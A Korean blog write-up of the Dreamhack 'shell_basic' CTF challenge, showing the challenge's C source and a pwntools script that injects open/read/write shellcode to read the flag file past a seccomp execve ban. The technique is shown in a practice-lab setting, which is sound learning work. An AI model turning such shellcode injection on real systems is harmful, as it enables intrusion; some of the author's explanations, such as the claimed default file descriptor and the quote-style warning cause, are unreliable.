[Dreamhack] Shell_basic 풀이

653o·2025년 2월 5일

dreamhack

목록 보기
2/6

우선 VM부터 받고 시작하도록 하자

이번 문제는 주어진 C코드를 이용해 shellcode를 찾고 flag를 얻는 것이 목적이다

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

우선 얕은 지식으로 코드를 봐보면...
printf("shellcode: ");
read(0, shellcode, 0x1000);
으로 shellcode를 읽는 것을 볼 수 있다..
그럼 대충 shellcode를 만들어서 아래 사진의 shellcode: 옆에 적으면 될 것 같다는 생각이 든다....

하지만 아직 asm code를 짜는 것에 익숙치 않으니 만능같은 만능아닌 pwntools를 쓰자.....

from pwn import *

p = remote('host1.dreamhack.games', 19138)
context.arch = "amd64"
path = "/home/shell_basic/flag_name_is_loooooong"


shellcode = ''
shellcode += shellcraft.open(path)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1,'rsp',0x100)

p.recvuntil('shellcode: ')
p.sendline(asm(shellcode))
> print(p.recv())

우선 p = remote로 VM과 연결
context.arch = "amd64" 으로 운영체제 설정

이거 설정안하면 매번 amd64붙여야 될거임 아마도.....maybe

print(shellcraft.amd64.write()

like this....

혹시모를 shellcode 값 초기화
이후 open으로 path열어서 더해주고....

사진 참고해서 shellcraft.read() 더해주고....

근데 왜 buffer가 rsp인지는 모르겠으니 시키는대로해야죠......
나중에 찾아서 수정예정..

마지막으로 shellcraft.write()까지 사진 참고해서 더해주면

shellcode 완성

write(fd = 0, buf='rsp', count=??)가 기본형인것 같슴요....

이제는 vm과 통신을 해줍시다
p.recvuntil('shellcode: ')으로 입력받는 곳을 찾고~

간혹 p.recvuntil("shellcode: ")으로 작성하는 다른 분들 풀이도 보실 수 있긴한데 이렇게 적으면

>> p.recvuntil("shellcode: ")
<stdin>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
b'shellcode: '

처럼 error 뜨는데 " "를 ' '로 고치면 잘 돌아가더라고요?

찾았으면 shellcode를 asm으로 만들어서 보내면 됨다

이후 p.interactive()를 하면 flag를 알 수 있지 않을까??라고 생각해서 적어버리면 flag 못찾습니다
정확하진 않지만 아마 사용자가 system을 못 돌아다니게 ban하지 않았을까가 저의 생각
그래서 ls 하면 아무 반환이 없다가 pwd 치니까 튕기더라고요....

암튼 그래서 p.recv()한거를 print()로 볼 수 있도록 해줘야합니다......

이상 코드 설명이었고 나중에 asm코드 만들어서 다시 오겠습니더~

asm코드 작성 진짜 하기싫은데 ㅅㅂ.........

profile
hehehe fk u

1개의 댓글

comment-user-thumbnail
2025년 3월 20일

각 레지스터의 역할 확인해보시면 buffer가 왜 rsp인지 이해하실 수 있을 겁니다~!

답글 달기